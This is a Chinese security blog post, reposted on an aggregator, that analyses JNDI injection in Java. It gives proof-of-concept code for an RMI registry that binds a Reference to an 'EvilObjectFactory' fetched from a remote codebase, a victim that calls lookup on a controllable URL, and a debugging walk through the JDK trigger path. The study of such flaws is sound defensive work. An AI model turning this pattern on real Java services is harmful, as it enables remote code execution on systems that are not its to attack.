Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】关于 JNDI 注入

$
0
0
【技术分享】关于 JNDI 注入

2017-10-18 11:07:35
阅读:1332次
点赞(0)
收藏
来源: n1nty






【技术分享】关于 JNDI 注入

前言

一篇炒冷饭的文章,全当笔记在写了,这个漏洞涉及到 JNDI与 RMI。 这里我主要只写一些其他的 “JNDI注入” 分析文章没写过的东西,如果你看的不是很明白的话可以配合其他人写的分析文章一起看。


需要知道的背景知识

JNDI的概念不细写了,只需要知道我们通过 JNDI 的接口就可以存取 RMI Registry/LDAP/DNS/NIS等所谓 Naming Service 或 DirectoryService的内容

JNDIAPI中涉及到的常见的方法与接口的作用,如:Context.lookup

JNDI中 ServiceProvider以及 ObjectFactory 的作用


Reference类的作用

RMI的相关基础知识,可以看我另一篇公众号,我记的非常全。


JNDI Service Provider

JNDI与 JNDI Service Provider的关系类似于 windows中 SSPI与 SSP 的关系。前者是统一抽象出来的接口,而后者是对接口的具体实现。如上面提到的默认的 JNDI Service Provider有 RMI/LDAP等等。。


ObjectFactory

每一个 Service Provider可能配有多个 Object Factory。Object Factory用于将 Naming Service(如 RMI/LDAP)中存储的数据转换为 Java中可表达的数据,如 Java 中的对象或 Java 中的基本数据类型。 JNDI的注入的问题就出在了可远程下载自定义的 ObjectFactory类上。你如果有兴趣的话可以完整看一下 Service Provider是如何与多个 ObjectFactory进行交互的。


PoC

publicstaticvoidmain(String[]args)throwsException { //在本机1999端口开启rmiregistry,可以通过JNDIAPI来访问此rmiregistry Registryregistry=LocateRegistry.createRegistry(1999); //创建一个Reference,第一个参数无所谓,第二个参数指定ObjectFactory的类名: //jndiinj.EvilObjectFactory //第三个参数是codebase,表明如果客户端在classpath里面找不到 //jndiinj.EvilObjectFactory,则去http://localhost:9999/下载 //当然利用的时候这里应该是一个真正的codebase的地址 Referenceref=newReference("whatever", "jndiinj.EvilObjectFactory","http://localhost:9999/"); //利用ReferenceWrapper将前面的Reference对象包装一下 //因为只为只有实现Remote接口的对象才能绑定到rmiregistry里面去 ReferenceWrapperwrapper=newReferenceWrapper(ref); registry.bind("evil",wrapper); }

EvilObjectFactory

代码如下:

publicclassEvilObjectFactoryimplementsObjectFactory{ publicObjectgetObjectInstance(Objectobj,Namename, ContextnameCtx, Hashtable<?,?>environment) throwsException{ System.out.println("executed"); returnnull; } }

Victim

Victim需要执行 Context.lookup,并且 lookup的参数需要我们可控。

publicstaticvoidmain(String[]args)throwsException{ Contextctx=newInitialContext(); //ctx.lookup参数需要可控 System.out.println(ctx.lookup("rmi://localhost:1999/evil")); }

我的疑问

最开始看到 PoC 的时候,我以为这是 RMI Class Loading导致的受害者会去指定的 codebase下载我们指定的类并去实例化,因为产生了很大的疑惑。

因为 RMI Class Loading是有条件限制的,比如说默认禁用,以及与 JVM的 codebase配置有很大的关系。

PoC里面向 rmi registry绑定 ReferenceWrapper的时候,真正绑定进去的应该是它的 Stub才对,Stub的对象是怎么造成客户端的代码执行的。

因为懒,这个疑问一直存在了很长时间,直到我开始正式去调试跟一下这个漏洞看看到底发生了什么。后来我看在 marshalsec那篇 pdf 里面也提到了这个问题。


Victim端的触发流程

1.ctx.lookup最终会进入com.sun.jndi.rmi.registry.RegistryContext.lookup。因为传入的 jndi url是以 rmi://开头的。

publicObjectlookup(Namevar1)throwsNamingException{ if(var1.isEmpty()){ returnnewRegistryContext(this); }else{ Remotevar2; try{ var2=this.registry.lookup(var1.get(0)); }catch(NotBoundExceptionvar4){ thrownewNameNotFoundException(var1.get(0)); }catch(RemoteExceptionvar5){ throw(NamingException)wrapRemoteException(var5).fillInStackTrace(); } returnthis.decodeObject(var2,var1.getPrefix(1)); } }

2.在 lookup里面通过 this.registry.lookup查找出远程对象,赋给 var2。这里的 var2确实是com.sun.jndi.rmi.registry.ReferenceWrapper_Stub类型的。证明我的想法是没有错的,存入 rmi registry的确实是一个 stub。

3.进入 this.decode

privateObjectdecodeObject(Remotevar1,Namevar2)throwsNamingException{ try{ Objectvar3=var1instanceofRemoteReference? ((RemoteReference)var1).getReference():var1; returnNamingManager.getObjectInstance(var3,var2, this,this.environment); }catch(NamingExceptionvar5){ throwvar5; }catch(RemoteExceptionvar6){ throw(NamingException)wrapRemoteException(var6).fillInStackTrace(); }catch(Exceptionvar7){ NamingExceptionvar4=newNamingException(); var4.setRootCause(var7); throwvar4; } }

4.this.decode内将 stub 还原成了 Reference,这里解决了我一个疑惑。随后进入 NamingManager.getObjectInstance

5.NamingManager.getObjectInstance内部发现当前 JVM中不存在 Reference中指定的 object factory,就自动去我们指定的 codebase地址下载(并不是利用的 RMI Class Loading机制,所以解决了我另一个疑惑)并实例化我们指定的 Object Factory类,并调用其javax.naming.spi.ObjectFactory#getObjectInstance方法。


参考资料

http://docs.oracle.com/javase/jndi/tutorial/TOC.html

http://www.javaworld.com/article/2076888/core-java/jndi-overview--part-1--an-introduction-to-naming-services.html



【技术分享】关于 JNDI 注入
【技术分享】关于 JNDI 注入
本文转载自 n1nty
原文链接:https://mp.weixin.qq.com/s/YeskekfkHhHH4kA-02W7Yg

Viewing all articles
Browse latest Browse all 12749

Trending Articles